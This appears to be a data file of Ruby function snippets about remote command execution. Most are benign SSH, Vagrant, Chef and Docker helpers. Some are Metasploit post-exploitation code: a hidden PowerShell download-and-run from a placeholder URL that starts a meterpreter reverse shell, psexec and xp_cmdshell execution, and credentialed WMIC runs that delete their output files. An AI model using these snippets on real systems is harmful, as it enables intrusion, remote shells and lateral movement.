"def command_exec(session,lhost,lport)\n print_status(\"Running Invoke-Shellcode, Please wait 4-7 seconds.\")\n r=''\n begin\n r = session.sys.process.execute(\"C:\\\\WINDOWS\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://URLHERE');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost #{lhost} -Lport #{lport} -Force\", nil, {'Hidden' => true, 'Channelized' => true})\n r.channel.close\n r.close\n rescue ::Exception => e\n print_error(\"Error Running Invoke-Shellcode, Sounds like a problem between the keyboard and the monitor.....: #{e.class} #{e}\")\n end\nend",
"def execute(command, live_stream = false)\n machine = @chef_provisioning.connect_to_machine(name, @current_chef_server)\n machine.execute_always(command, stream: live_stream)\n end",
"def ssh!(hostspec, script)\n CommandRunner.instance.ssh! hostspec, script\n end",
"def single_target(user, pass, target, evil)\n\tputs \"Running psexec #{user} #{pass} #{target} #{evil}.....\"\n\tif @home == @tools\n\t\tsystem(\"psexec.rb #{user} #{pass} #{target} #{evil}\")\n\telse\n\t\tDir.chdir(\"#{MSF}tools/\") {\n\t\t\tsystem(\"psexec.rb #{user} #{pass} #{target} #{evil}\")\n\t\t}\n\tend\nend",
"def execute(command)\n if remote?\n @remote.exec(command)\n else\n rays_exec(command)\n end\n end",
"def ssh_cmd(destination_host, cmd)\n\n if strict_host_checking\n [\n 'ssh', '-t',\n '-p', OodCore::Job::Adapters::Helper.ssh_port,\n '-o', 'BatchMode=yes',\n \"#{username}@#{destination_host}\"\n ].concat(cmd)\n else\n [\n 'ssh', '-t',\n '-p', OodCore::Job::Adapters::Helper.ssh_port,\n '-o', 'BatchMode=yes',\n '-o', 'UserKnownHostsFile=/dev/null',\n '-o', 'StrictHostKeyChecking=no',\n \"#{username}@#{destination_host}\"\n ].concat(cmd)\n end\n end",
"def cmd_execute(*args)\n\t\tif (args.length == 0)\n\t\t\targs.unshift(\"-h\")\n\t\tend\n channel = nil\n\t\tsession = nil\n\t\tinteract = false\n\t\tchannelized = nil\n\t\tcmd_args = nil\n\t\tcmd_exec = nil\n\t\tuse_thread_token = false\n\n\t\t@@execute_opts.parse(args) { |opt, idx, val|\n\t\t\tcase opt\n\t\t\t\twhen \"-a\"\n\t\t\t\t\tcmd_args = val\n\t\t\t\twhen \"-c\"\n\t\t\t\t\tchannelized = true\n\t\t\t\twhen \"-f\"\n\t\t\t\t\tcmd_exec = val\n\t\t\t\twhen \"-H\"\n\t\t\t\t\thidden = true\n\t\t\t\twhen \"-m\"\n\t\t\t\t\tfrom_mem = true\n\t\t\t\twhen \"-d\"\n\t\t\t\t\tdummy_exec = val\n\t\t\t\twhen \"-k\"\n\t\t\t\t\tdesktop = true\n\t\t\t\twhen \"-h\"\n\t\t\t\t\tprint(\n\t\t\t\t\t\t\"Usage: execute -f file [options]\\n\\n\" +\n\t\t\t\t\t\t\"Executes a command on the remote machine.\\n\" +\n\t\t\t\t\t\t@@execute_opts.usage)\n\t\t\t\t\treturn true\n\t\t\t\twhen \"-i\"\n\t\t\t\t\tchannelized = true\n\t\t\t\t\tinteract = true\n\t\t\t\twhen \"-t\"\n\t\t\t\t\tuse_thread_token = true\n\t\t\t\twhen \"-s\"\n\t\t\t\t\tsession = val.to_i\n\t\t\tend\n\t\t}\n\t if(channelized)\t\n channel=Channel.new(client) {|c| c.channel.exec(cmd_exec)}\n channel.type=\"exec\"\n channel.info=cmd_exec\n print_line(\"Channel #{channel.cid} created.\") if channel\n else\n print_line(client.sys.exec(cmd_exec,cmd_args))\n end\n\t\tif (interact and channel)\n\t\t\tshell.interact_with_channel(channel)\n\t\tend\n\tend",
"def exec(cmd)\n\t\tbegin\n\t\t\tout = cmd_exec(cmd).chomp\n\t\trescue ::Timeout::Error => e\n\t\t\tvprint_error(\"#{@peer} - #{e.message} - retrying...\")\n\t\t\tretry\n\t\trescue EOFError => e\n\t\t\tvprint_error(\"#{@peer} - #{e.message} - retrying...\")\n\t\t\tretry\n\t\tend\n\tend",
"def _ssh(path_of_servers, sshpass_command, user_exec_command)\n if path_of_servers.size == 0\n return \"#{sshpass_command} #{user_exec_command}\"\n end\n\n server = path_of_servers.shift\n #shell command needs double quote's escape\n sshpass_command += \"\\\"#{one_ssh_str(server)}\"\n _ssh(path_of_servers, sshpass_command, user_exec_command)\n end",
"def sys_exec!(\n *cmd_list,\n verbose: true, error_display: :failure, raise_error: true\n)\n SysExec.new(cmd_list, verbose, error_display, raise_error).run\nend",
"def exec_ssh(command, args, setting)\n puts \"#{Time.now} call #{self.class}##{__method__}\"\n ssh_options = ssh_option_init(setting)\n\n user = setting[\"ssh\"][\"user\"]\n host = setting[\"ssh\"][\"host\"]\n remote_dir = setting[\"dir\"][\"remote\"]\n\n Net::SSH.start(host, user, ssh_options) do |session|\n case command\n when :scp\n puts \"#{Time.now} scp: from #{args} to #{user}@#{host}:#{remote_dir}\"\n return Net::SCP.new(session).upload!(args, remote_dir, {:verbose => 'useful'})\n when :ssh\n return session.exec!(\"bash -c '#{args}'\").chomp!\n end\n end\n rescue Net::SSH::AuthenticationFailed => ex\n puts \"1\"\n puts \"class:#{ex.class} #{ex.message}\"\n return ex.class\n rescue Errno::ECONNREFUSED => ex\n puts \"2\"\n puts \"class:#{ex.class} #{ex.message}\"\n rescue => ex\n puts \"3\"\n puts \"class:#{ex.class} #{ex.message}\"\n end",
"def ps_exec(command, tmp_file, c_time, output_file)\n encoding_options = {\n :invalid => :replace, # Replace invalid byte sequences\n :undef => :replace, # Replace anything not defined in ASCII\n :replace => '', # Use a blank for those replacements\n :universal_newline => false # Always break lines with \\n\n }\n print_status(\"Sending command to client...\")\n client.sys.process.execute(command, nil, {'Hidden' => 'true', 'Channelized' => true})\n sleep(c_time)\n log_file = client.fs.file.new(tmp_file, \"rb\")\n begin\n while ((data = log_file.read) != nil)\n data.strip!\n print_line(data.encode(::Encoding.find('ASCII'), encoding_options))\n end\n rescue EOFError\n ensure\n log_file.close\n end\n client.sys.process.execute(\"cmd /c del #{tmp_file}\", nil, {'Hidden' => 'true', 'Channelized' => true})\n end",
"def rcon_exec(ip, port, is_hltv, pwd, command)\n server = GoldSrcServer.new(IPAddr.new(ip), port, is_hltv)\n if is_hltv\n # nothing at this time...\n else\n begin\n server.rcon_auth(pwd)\n status = server.rcon_exec(command)\n hostname = status.split(/\\r?\\n/)[0].gsub('hostname: ', '')\n return \"#{ip}:#{port} => #{hostname}\"\n rescue\n return 'Unknown command or authentication issue.'\n end\n end\n end",
"def run_ssh(host, shell_command, ssh_timeout = 60)\n begin\n # define basic query\n ssh_query = {\n :ssh_host => host,\n :ssh_auth_type => :password, # password is set on ssh method (default per os during provisioning)\n :ssh_timeout => ssh_timeout,\n :ssh_debug => @debug,\n :ssh_command => shell_command\n }\n\n # instantiate the ssh method and pull the command status\n $evm.instantiate(SSH_INSTANCE_PATH + '?' + ssh_query.to_query)\n status = $evm.root['ssh_command_status']\n\n # pull and inspect our results if we succeeded\n if status\n results = $evm.root['ssh_results']\n return results\n else\n log(:error, \"run_ssh: Command #{shell_command} failed. Returning nil.\")\n return nil\n end\n rescue => err\n log(:error, \"run_ssh: Unable to run command: #{shell_command}. Returning nil.\")\n return nil\n end\nend",
"def guestcontrol_exec(image, cmd)\n\n _ = Timeout::timeout(@timeout_secs) {\n wait_for_guestcontrol\n cmd = \"VBoxManage guestcontrol \\\"#{@vbox_name}\\\" run --username \\\"#{USERNAME}\\\" --password '#{PASSWD}' --exe \\\"#{image}\\\" -- #{cmd}\"\n\n log_stdout cmd, false if @verbose\n\n return Open3.capture3(cmd)\n }\n\n end",
"def remote_command command, options={}\n return unless running?\n returning({ :stdout => '', :stderr => '', :exit_status => nil }) do |output|\n remote_stdout, remote_stderr, exit_code = '', '', nil\n Net::SSH.start(public_ip, options[:user] || \"root\", {:paranoid => false}.merge(options)) do |connection|\n connection.open_channel do |channel|\n channel.on_data { |ch, data| output[:stdout] += data }\n channel.on_extended_data { |ch, type, data| output[:stderr] += data }\n channel.on_request(\"exit-status\") do |p, data|\n output[:exit_status] = data.read_long\n end\n channel.exec(command) do |ch, executing|\n raise \"Could not execute: #{command}\" unless executing\n end\n end\n end\n end\n end",
"def tunnel_cmd remote_port, local_port\n \"ssh -NT -R #{remote_port}:localhost:#{local_port} #{user_at_host} -p #{@port}\"\n end",
"def run_command_for_host\n ready_to_open_host_session do |spawn_cmd|\n open_interactive_process(spawn_cmd) do\n before_run_command\n run_command\n end\n end\n end",
"def submit_command_running_host(user, command)\n operational_hosts = \n find_working_server(node['hadoop_smoke_tests']['oozie_hosts'], user)\n if operational_hosts.length > 0 then\n Chef::Log.debug('Identified live oozie server(s) ' + operational_hosts.to_s) \n \n oozie_cmd = \"sudo -u #{user} oozie #{command} -oozie http://#{operational_hosts[0]}:11000/oozie\"\n cmd = Mixlib::ShellOut.new(oozie_cmd, timeout: 20).run_command\n if cmd.exitstatus == 0\n Chef::Log.debug(\"Command submission result: #{cmd.stdout}\")\n cmd.stdout\n else\n # raise exception?\n Chef::Log.error(\"Command submission result: #{cmd.stderr}\")\n nil\n end\n else\n Chef::Log.error('Unable to find a live oozie server')\n nil\n end\n end",
"def ssh(args, options)\n perform_action(args[0], options, 'SSH') do |vm|\n rc = vm.info\n\n if OpenNebula.is_error?(rc)\n STDERR.puts rc.message\n exit(-1)\n end\n\n if vm.lcm_state_str != 'RUNNING'\n STDERR.puts 'VM is not RUNNING, cannot SSH to it'\n exit(-1)\n end\n\n # Get user to login\n username = vm.retrieve_xmlelements('//TEMPLATE/CONTEXT/USERNAME')[0]\n\n if !username.nil?\n login = username.text\n elsif !args[1].nil?\n login = args[1]\n else\n login = 'root'\n end\n\n # Get CMD to run\n options[:cmd].nil? ? cmd = '' : cmd = options[:cmd]\n\n # Get NIC to connect\n if options[:nic_id]\n nic = vm.retrieve_xmlelements(\n \"//TEMPLATE/NIC[NIC_ID=\\\"#{options[:nic_id]}\\\"]\"\n )[0]\n else\n nic = vm.retrieve_xmlelements('//TEMPLATE/NIC[SSH=\"YES\"]')[0]\n end\n\n nic = vm.retrieve_xmlelements('//TEMPLATE/NIC[1]')[0] if nic.nil?\n\n if nic.nil?\n STDERR.puts 'No NIC found'\n exit(-1)\n end\n\n # If there is node port\n if nic['EXTERNAL_PORT_RANGE']\n ip = vm.to_hash['VM']['HISTORY_RECORDS']['HISTORY']\n ip = [ip].flatten[-1]['HOSTNAME']\n port = Integer(nic['EXTERNAL_PORT_RANGE'].split(':')[0]) + 21\n else\n ip = nic['IP']\n port = 22\n end\n\n options[:ssh_opts].nil? ? opts = '' : opts = options[:ssh_opts]\n\n if opts.empty?\n exec('ssh', \"#{login}@#{ip}\", '-p', port.to_s, cmd.to_s)\n else\n exec('ssh', *opts.split, \"#{login}@#{ip}\", '-p', port.to_s, cmd.to_s)\n end\n end\n\n # rubocop:disable Style/SpecialGlobalVars\n $?.exitstatus\n # rubocop:enable Style/SpecialGlobalVars\n end",
"def run_command(machine, command, logger = @log)\n logger.info(\"Running command '#{command}' on the '#{machine['network']}' machine\")\n within_ssh_session(machine) do |connection|\n ssh_exec(connection, command, logger)\n end\n end",
"def ssh_command\n args = domain!\n args = \"#{user}@#{args}\" if user?\n args << \" -i #{identity_file}\" if identity_file?\n args << \" -p #{ssh_port}\" if ssh_port?\n args << \" -t\"\n \"ssh #{args}\"\n end",
"def control_server(hostname,username,password,command)\n if $verbose_mode == true\n puts \"vSphere Server: \"+hostname\n puts \"vSphere Command: \"+command\n end\n begin\n Net::SSH.start(hostname, username, :password => password, :verify_host_key => false) do |ssh_session|\n (ssh_session,output) = ssh_session_exec(ssh_session,command)\n return output\n end\n rescue Net::SSH::HostKeyMismatch => host\n puts \"Existing key found for \"+hostname\n if doaction != \"y\"\n while doaction !~ /y|n/\n print \"Update host key [y,n]: \"\n doaction = gets.chomp\n end\n end\n if doaction == \"y\"\n puts \"Updating host key for \"+hostname\n host.remember_host!\n else\n exit\n end\n retry\n end\n return output\nend",
"def execute_command(cmd, _opts)\r\n cmd_xp = \"EXEC master..xp_cmdshell '#{cmd}'\"\r\n send_login_msg(create_login_msg_sql(cmd_xp))\r\n end",
"def do_ssh_cmd(cmd='uname -a')\n stdout_data = \"\"\n stderr_data = \"\"\n exit_code = nil\n \n begin\n @ssh.open_channel do |channel|\n channel.exec(cmd) do |ch, success|\n unless success\n abort \"FAILED: couldn't execute command (ssh.channel.exec)\"\n end\n channel.on_data do |ch,data|\n stdout_data += data\n end\n \n channel.on_extended_data do |ch,type,data|\n stderr_data+=data\n end\n \n channel.on_request(\"exit-status\") do |ch,data|\n exit_code = data.read_long\n end\n end\n end\n @ssh.loop\n rescue Net::SSH::Exception => e\n abort \"Net:SSH Exception : #{e.message}\"\n rescue Exception => e\n abort \"Unknown Exception : #{e.message}\"\n end\n {:stdout => stdout_data, :stderr => stderr_data, :exit_code => exit_code}\n end",
"def ssh_exec(command)\n stdout_data = ''\n stderr_data = ''\n exit_status = nil\n exit_signal = nil\n\n ssh.open_channel do |channel|\n channel.request_pty do |ch, success|\n raise 'Could not obtain pty' unless success\n\n ch.on_data do |ch, data|\n good_info data\n\n if data.match /sudo\\] password/\n unless ssh_options[:password]\n ssh_options[:password] = prompt(\"\\n<ROSH> Enter your password: \", false)\n end\n\n ch.send_data \"#{ssh_options[:password]}\\n\"\n ch.eof!\n end\n\n stdout_data << data\n end\n\n run_info(command)\n r = ch.exec(command)\n channel.close if r\n end\n\n channel.on_extended_data do |_, data|\n bad_info data.to_s\n stderr_data << data\n end\n\n channel.on_request('exit-status') do |_, data|\n exit_status = data.read_long\n end\n\n channel.on_request('exit-signal') do |_, data|\n exit_signal = data.read_long\n end\n end\n\n ssh.loop\n\n SSHResult.new(stdout_data, stderr_data, exit_status, exit_signal)\n end",
"def ssh_shell_cmd(executable, dir, log)\n # NOTE: We cannot use && between cd and nohup because this doesn't work together with non-blocking commands\n \"vagrant ssh -- \\\"cd '#{dir}';\n nohup './#{executable}' >/dev/null 2>>'#{log}' </dev/null &\\\"\"\n end",
"def wmicexec(session,wmic,user,pass,trgt)\n\tprint_status(\"Running WMIC Commands ....\")\n\ttmpout = ''\n\tcommand = nil\n\trunfail = 0\n \trunningas = session.sys.config.getuid\n\tbegin\n\ttmp = session.fs.file.expand_path(\"%TEMP%\")\n\t# Temporary file on windows host to store results\n\twmicfl = tmp + \"\\\\wmictmp#{rand(100000)}.txt\"\n\n\t wmic.each do |wmi|\n\t\t if user == nil\n\t\t print_status(\"The commands will be ran under the credentials of #{runningas}\")\n\t\t command = \"/node:#{trgt} /append:#{wmicfl} #{wmi}\"\n\t\t else\n\t\t command = \"/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}\"\n\t\t end\n\t\t print_status \"\\trunning command wimic #{wmi}\"\n\t\t r = session.sys.process.execute(\"cmd.exe /c echo ***************************************** >> #{wmicfl}\",nil, {'Hidden' => 'true'})\n\t\t sleep(1)\n\t\t r = session.sys.process.execute(\"cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}\",nil, {'Hidden' => 'true'})\n\t\t sleep(1)\n\t\t r = session.sys.process.execute(\"cmd.exe /c echo ***************************************** >> #{wmicfl}\",nil, {'Hidden' => 'true'})\n\t\t sleep(1)\n\t\t #print_status \"\\twmic #{command}\"\n\t\t r = session.sys.process.execute(\"cmd.exe /c wmic #{command}\", nil, {'Hidden' => true})\n\t\t\t#Making sure that wmic finishes before executing next wmic command\n\t\t\tprog2check = \"wmic.exe\"\n\t\t\tfound = 0\n\t\t\tsleep(2)\n\t\t\twhile found == 0\n\t\t\t\tsession.sys.process.get_processes().each do |x|\n\t\t\t\t\tfound =1\n\t\t\t\t\tif prog2check == (x['name'].downcase)\n\t\t\t\t\t\tsleep(0.5)\n\t\t\t\t\t\tfound = 0\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t r.close\n\t\t end\n\t\t # Read the output file of the wmic commands\n\t\t wmioutfile = session.fs.file.new(wmicfl, \"rb\")\n\t\t until wmioutfile.eof?\n\t\t \ttmpout << wmioutfile.read\n\t\t end\n\t\t # Close output file in host\n\t\t wmioutfile.close\n\trescue ::Exception => e\n \t\tprint_status(\"Error running WMIC commands: #{e.class} #{e}\")\n\tend\n\t# We delete the file with the wmic command output.\n\tc = session.sys.process.execute(\"cmd.exe /c del #{wmicfl}\", nil, {'Hidden' => true})\n\tc.close\n\ttmpout\nend",
"def run(cmd, port:, user:, password:)\n result = Net::SSH::Simple.ssh(ip, cmd,\n user: user, port: port, password: password, paranoid: false)\n result[:exit_code].zero?\n rescue Net::SSH::Simple::Error => e\n log.info \"Running '#{cmd}' failed: #{e.inspect}\"\n false\n end",
"def run_remote_command(command)\n # Finds the remote ip and stores it in \"remote_ip\"\n parse_remote_ip\n \n # Finds the remote ip and stores it in \"remote_app_name\"\n parse_remote_app_name\n \n begin\n remote_command(command)\n rescue Net::SSH::AuthenticationFailed\n HighLine.track_eof = false\n password = ask(\"Enter your password: \") { |q| q.echo = '' }\n remote_command(command, password)\n end\n end",
"def execute(task_family, ip, command)\n cmd = \"docker exec -i -t `#{docker_ps_task(task_family)}` #{command}\"\n Open3.popen2e(ssh_cmd(ip) + \" '#{cmd}' \") do |stdin, stdout, stderr, status_thread|\n stdout.each_line do |line|\n puts line\n end\n end\n end",
"def esx_cmd(command)\n cmd = \"#{BIN_LOCATION}/tty_expect -u #{@user} -p #{@pass} #{command}\"\nend",
"def shell_execute(connection, command, **opts)\n opts = {\n sudo: false,\n shell: nil\n }.merge(opts)\n\n sudo = opts[:sudo]\n shell = (opts[:shell] || machine_config_ssh.shell).to_s\n\n @logger.info(\"Execute: #{command} (sudo=#{sudo.inspect})\")\n exit_status = nil\n\n # Open the channel so we can execute or command\n channel = connection.open_channel do |ch|\n marker_found = false\n data_buffer = ''\n stderr_marker_found = false\n stderr_data_buffer = ''\n\n tfile = Tempfile.new('vagrant-ssh')\n remote_ext = shell == \"powershell\" ? \"ps1\" : \"bat\"\n remote_name = \"#{machine_config_ssh.upload_directory}\\\\#{File.basename(tfile.path)}.#{remote_ext}\"\n\n if shell == \"powershell\"\n base_cmd = \"powershell -File #{remote_name}\"\n tfile.puts <<-SCRIPT.force_encoding('ASCII-8BIT')\nRemove-Item #{remote_name}\nWrite-Host #{CMD_GARBAGE_MARKER}\n[Console]::Error.WriteLine(\"#{CMD_GARBAGE_MARKER}\")\n#{command}\nSCRIPT\n else\n base_cmd = remote_name\n tfile.puts <<-SCRIPT.force_encoding('ASCII-8BIT')\nECHO OFF\nECHO #{CMD_GARBAGE_MARKER}\nECHO #{CMD_GARBAGE_MARKER} 1>&2\n#{command}\nSCRIPT\n end\n\n tfile.close\n upload(tfile.path, remote_name)\n tfile.delete\n\n base_cmd = shell_cmd(opts.merge(shell: base_cmd))\n @logger.debug(\"Base SSH exec command: #{base_cmd}\")\n\n ch.exec(base_cmd) do |ch2, _|\n # Setup the channel callbacks so we can get data and exit status\n ch2.on_data do |ch3, data|\n # Filter out the clear screen command\n data = remove_ansi_escape_codes(data)\n\n if !marker_found\n data_buffer << data\n marker_index = data_buffer.index(CMD_GARBAGE_MARKER)\n if marker_index\n marker_found = true\n data_buffer.slice!(0, marker_index + CMD_GARBAGE_MARKER.size)\n data.replace(data_buffer)\n data_buffer = nil\n end\n end\n\n if block_given? && marker_found\n yield :stdout, data\n end\n end\n\n ch2.on_extended_data do |ch3, type, data|\n # Filter out the clear screen command\n data = remove_ansi_escape_codes(data)\n @logger.debug(\"stderr: #{data}\")\n if !stderr_marker_found\n stderr_data_buffer << data\n marker_index = stderr_data_buffer.index(CMD_GARBAGE_MARKER)\n if marker_index\n marker_found = true\n stderr_data_buffer.slice!(0, marker_index + CMD_GARBAGE_MARKER.size)\n data.replace(stderr_data_buffer.lstrip)\n data_buffer = nil\n end\n end\n\n if block_given? && marker_found\n yield :stderr, data\n end\n end\n\n ch2.on_request(\"exit-status\") do |ch3, data|\n exit_status = data.read_long\n @logger.debug(\"Exit status: #{exit_status}\")\n\n # Close the channel, since after the exit status we're\n # probably done. This fixes up issues with hanging.\n ch.close\n end\n\n end\n end\n\n begin\n keep_alive = nil\n\n if @machine.config.ssh.keep_alive\n # Begin sending keep-alive packets while we wait for the script\n # to complete. This avoids connections closing on long-running\n # scripts.\n keep_alive = Thread.new do\n loop do\n sleep 5\n @logger.debug(\"Sending SSH keep-alive...\")\n connection.send_global_request(\"keep-alive@openssh.com\")\n end\n end\n end\n\n # Wait for the channel to complete\n begin\n channel.wait\n rescue Errno::ECONNRESET, IOError\n @logger.info(\n \"SSH connection unexpected closed. Assuming reboot or something.\")\n exit_status = 0\n pty = false\n rescue Net::SSH::ChannelOpenFailed\n raise Vagrant::Errors::SSHChannelOpenFail\n rescue Net::SSH::Disconnect\n raise Vagrant::Errors::SSHDisconnected\n end\n ensure\n # Kill the keep-alive thread\n keep_alive.kill if keep_alive\n end\n\n # Return the final exit status\n return exit_status\n end",
"def dpExecuteAction(host, cmd)\n mc = rpcclient \"deploop\"\n h = Socket.gethostbyname(host)\n mc.identity_filter \"#{h[1][0]}\"\n mc.progress = false\n\n result = mc.execute(:cmd=> cmd)\n\n mc.disconnect\n\n result[0][:data].each do |a|\n puts a\n end\n\n result[0][:data][:exitcode]\n end",
"def exec( command, want_reply=false )\n send_request_string \"exec\", command, want_reply\n end",
"def ssh( commands=[], extra_ssh_ops={})\n commands = commands.compact.join(' && ') if commands.is_a?(Array)\n cmd_string = \"ssh #{user}@#{host} #{ssh_options(extra_ssh_ops)} \"\n if commands.empty?\n #TODO: replace this with a IO.popen call with read_nonblocking to show progress, and accept input\n Kernel.system(cmd_string)\n else\n system_run(cmd_string+\"'#{commands}'\")\n end\n end",
"def execute_cmd(cmd, timeout = new_resource.cmd_timeout)\n Chef::Log.debug('Executing: ' + cmd)\n begin\n shell_out(cmd, :timeout => timeout)\n rescue Mixlib::ShellOut::CommandTimeout\n raise CommandTimeout, command_timeout_error_message\n end\n end",
"def exec!(command, timeout=nil)\n logger.info(\"Executing: #{command}\")\n stderr,stdout = '', ''\n stdout, stderr = timeout_execution(timeout, \"exec!(#{command})\") do\n @connection_pool.exec(command)\n end\n logger.info(\"STDERR: #{stderr}\") unless stderr.empty?\n logger.info(\"STDOUT: #{stdout}\") unless stdout.empty?\n logger.info(\"Executing done\")\n stdout\n end",
"def cmd_on_trgt_exec(session,cmdexe,opt,verbose)\n\tr=''\n\tsession.response_timeout=120\n\tif verbose == 1\n\t\tbegin\n\t\t\tprint_status \"\\tRunning command #{cmdexe}\"\n\t\t\tr = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true})\n\t\t\twhile(d = r.channel.read)\n\t\t\t\tprint_status(\"\\t#{d}\")\n\t\t\tend\n\t\t\tr.channel.close\n\t\t\tr.close\n\t\trescue ::Exception => e\n\t\t\tprint_status(\"Error Running Command #{cmdexe}: #{e.class} #{e}\")\n\t\tend\n\telse\n\t\tbegin\n\t\t\tprint_status \"\\trunning command #{cmdexe}\"\n\t\t\tr = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false})\n\t\t\tr.close\n\t\trescue ::Exception => e\n\t\t\tprint_status(\"Error Running Command #{cmdexe}: #{e.class} #{e}\")\n\t\tend\n\tend\nend",
"def execute_veewee_cmd(command=\"\", opts={})\n cmd = \"veewee vbox #{command}\"\n @logger.debug \"Executing: #{cmd}\"\n sh cmd, opts\n end",
"def execute_cmd(cmd, timeout = new_resource.cmd_timeout)\n Chef::Log.debug('Executing: ' + cmd)\n begin\n shell_out(cmd, :timeout => timeout)\n rescue Mixlib::ShellOut::CommandTimeout\n raise CommandTimeout, command_timeout_error_message(cmd)\n end\n end",
"def execute_ssh(commands)\n commands = [commands] unless commands.is_a? Array\n result = \"\"\n Net::SSH.start settings.remote_server, settings.remote_user do |ssh|\n commands.each do |command|\n was_error = false\n logger.info \"ssh: #{command}\"\n ssh.exec! command do |channel, stream, data|\n case stream\n when :stdout\n logger.info data\n result += \"#{data}\\n\" unless data.empty?\n when :stderr\n logger.error data\n was_error = true\n end\n end\n throw \"Exception during ssh, look in log file\" if was_error\n end\n end\n result\n end",
"def send_to_vm(command)\n socket = UNIXSocket.new(socket_file)\n socket.puts(command)\n socket.close\n end",
"def exec(command, input = nil)\n result = command_results.build\n result.start! command, input\n exit_code = nil\n ssh_channel = @net_ssh.open_channel do |channel|\n channel.exec command do |_, success|\n if success\n channel.send_data input if input\n channel.eof!\n channel.on_data do |_, data|\n result.append_to_stdout! data\n end\n channel.on_extended_data do |_, type, data|\n result.append_to_stderr! data if type == :stderr\n end\n channel.on_request 'exit-status' do |_, data|\n exit_code = data.read_long\n end\n channel.on_request 'exit-signal' do |_, data|\n # TODO(pwnall): ammend CommandResult to record this properly\n exit_code = data.read_long\n end\n else\n # TODO(pwnall): ammend CommandResult to record this properly\n exit_code = 255\n channel.close\n end\n end\n end\n ssh_channel.wait\n result.completed! exit_code || 0\n end",
"def ssh(commandString, dryRun = false)\n contentHost.sshAndScp.ssh(commandString, dryRun)\n end",
"def connect_server(hostname)\n exec \"ssh #{hostname}\"\n exit 0\n end",
"def ssh(host, user_name, *commands)\n global_cmd = \"ssh #{SSH_OPTIONS} #{user_name}@#{host} \\\"#{commands.join(';echo -;')}\\\"\"\n @logger.info(\"[SystemGateway][ssh] Executing #{global_cmd}...\")\n out = `#{global_cmd}`\n\n # SSH command failures (host unreachable, authentication errors)\n if $?.to_i != 0\n @logger.error(\"[SystemGateway][ssh] Command terminated abnormally: #{$?}\")\n raise(SSHError)\n end\n\n @logger.info(\"[SystemGateway][ssh] Command ended. Output: #{out}\")\n out\n end",
"def remote_shell args\n remote(args) do |ssh|\n command = true\n while command\n print \"> \"\n command = gets\n if command\n result = ssh.exec! command\n puts result.split(\"\\n\").awesome_inspect if not result.nil?\n end\n end\n ssh.exec! \"exit\"\n end\n end",
"def execute_single(machine, options, command)\n # @TODO: Check to see if the proxy VM has `nsenter` installed.\n pid_command = [\"docker\", \"inspect\", \"--format\", \"{{.State.Pid}}\", machine.id]\n\n pid = 0\n pid_data = \"\"\n machine.provider.driver.execute(*pid_command, options) do |type, data|\n pid_data += data\n end\n # @TODO: Error handling.\n pid = pid_data.to_i.to_s\n\n nsenter_command = [\"sudo\", \"nsenter\", \"-m\", \"-u\", \"-n\", \"-i\", \"-p\", \"-t\", pid, \"--\"].concat(command)\n\n # Run this interactively if asked.\n nsenter_options = options\n nsenter_options[:stdin] = true if options[:interactive]\n\n nsenter_data = \"\"\n machine.provider.driver.execute(*nsenter_command, nsenter_options) do |type, data|\n nsenter_data += data\n end\n\n output_options = {}\n output_options[:prefix] = false if !options[:prefix]\n machine.ui.output(nsenter_data.chomp!, **output_options) if !nsenter_data.empty?\n\n exit 0 if options[:interactive]\n end",
"def m_exec(session, cmd)\n\tr = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})\n\tb = \"\"\n\twhile(d = r.channel.read)\n\t\tb << d\n\tend\n\tr.channel.close\n\tr.close\n\tb\nend",
"def m_exec(session, cmd)\n\tr = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})\n\tb = \"\"\n\twhile(d = r.channel.read)\n\t\tb << d\n\tend\n\tr.channel.close\n\tr.close\n\tb\nend",
"def create_vnc_console\n if @host_ip == IPSocket.getaddress(Socket.gethostname)\n prefix = ''\n else\n prefix = \"#{PveHelper::CMD_SSH_EXEC} #{@host_ip} \" \n end\n \n port = VirtualMachine.next_vnc_port\n timeout = 1\n if port and self.running?\n @vnc_port = port\n \n # generate random password\n chars = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n @vnc_password = \"\"\n # password length is 8 as vnc server only accept 8 chars in maxium\n 1.upto(8) { |i| @vnc_password << chars[rand(chars.size-1)] } \n \n pwdfile = \"/tmp/.vncpwd.#{rand()}\"\n \n File.open(pwdfile, 'w') {|f| f.write(@vnc_password)}\n \n if @type == 'vz'\n if @status == 'running'\n vzcmd = \"/usr/sbin/vzctl enter #{@id}\"\n elsif @status == 'mounted'\n vzcmd = \"/usr/bin/pvebash #{@id} root\"\n else\n vzcmd = \"/usr/bin/pvebash #{@id} private\"\n end\n elsif @type == 'qm'\n vzcmd = \"/usr/sbin/qm monitor #{@id}\"\n else\n vzcmd = \"/bin/true\" # should not be reached\n end\n \n cmdstr = \"/usr/bin/vncterm -rfbport #{@vnc_port} -passwdfile rm:#{pwdfile} -timeout #{timeout} -c #{prefix} #{vzcmd} &\";\n \n puts \"cmd: #{cmdstr}\"\n return system(cmdstr)\n end\n \n end",
"def ssh_exec!(ssh, command)\n stdout_data = ''\n stderr_data = ''\n exit_code = nil\n exit_signal = nil\n ssh.open_channel do |channel|\n channel.exec(command) do |_ch, success|\n unless success\n abort 'FAILED: couldn\\'t execute command (ssh.channel.exec)'\n end\n channel.on_data do |_ch, data|\n stdout_data += data\n puts stdout_data\n end\n\n channel.on_extended_data do |_ch, _type, data|\n stderr_data += data\n puts stderr_data\n end\n\n channel.on_request('exit-status') do |_ch, data|\n exit_code = data.read_long\n end\n\n channel.on_request('exit-signal') do |_ch, data|\n exit_signal = data.read_long\n end\n end\n end\n ssh.loop\n [stdout_data, stderr_data, exit_code, exit_signal]\nend",
"def remote_command(command)\n socket = TCPSocket.new(@host, @port)\n socket.puts command\n\n data = \"\"\n until (line = socket.readline) =~ /END/\n data << line\n end\n\n socket.close\n data\n end",
"def exec_command(cmd)\n exec(cmd)\n # windows? ? exec(cmd) : fake_exec(cmd)\n end",
